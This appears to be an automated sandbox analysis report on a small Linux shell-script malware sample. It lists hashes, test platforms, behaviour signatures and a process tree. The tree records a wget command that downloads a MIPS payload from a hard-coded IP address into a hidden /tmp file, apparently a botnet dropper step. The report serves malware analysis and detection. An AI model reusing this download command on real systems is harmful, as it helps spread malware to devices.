Analysis
- max time kernel
142s - max time network
145s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
26/07/2026, 12:35
Static task
static1
Behavioral task
behavioral1
Sample
0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh
Resource
debian9-mipsel-20260513-en
General
- Target 0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh
- Size 573B
- Sample260726-psrplsgm21
- SHA256 0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f
- MD5 7c2194e9b4b3f5b3ac96d19a484f0dd6
- SHA1 7f92c229ef7e8bba3f75b54b8932085861d589f7
- SHA512 09cf0794b8e3dd97b6f2aadd06a1aa01333598949460959565278a6587575901ecf66c872850653c014e1981a38d073d4458a7ef84fb6c0142d4a8b047b839ab
- TLSH T173F081C1E03408349A926131914275D8ADA558AB742091686CFF8970F57E5143AD7AE4
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1507 wget - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.n wget
Processes
-
/tmp/0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh/tmp/0d7fd4d7f637e1f8c492fd41a675b03cce3fa1f7601bf4e9fc8703cce1da259f.sh1⤵PID:1506
-
/usr/bin/wgetwget -q -T 5 http://91.199.133.133:8080/real_mips -O /tmp/.n2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1507
-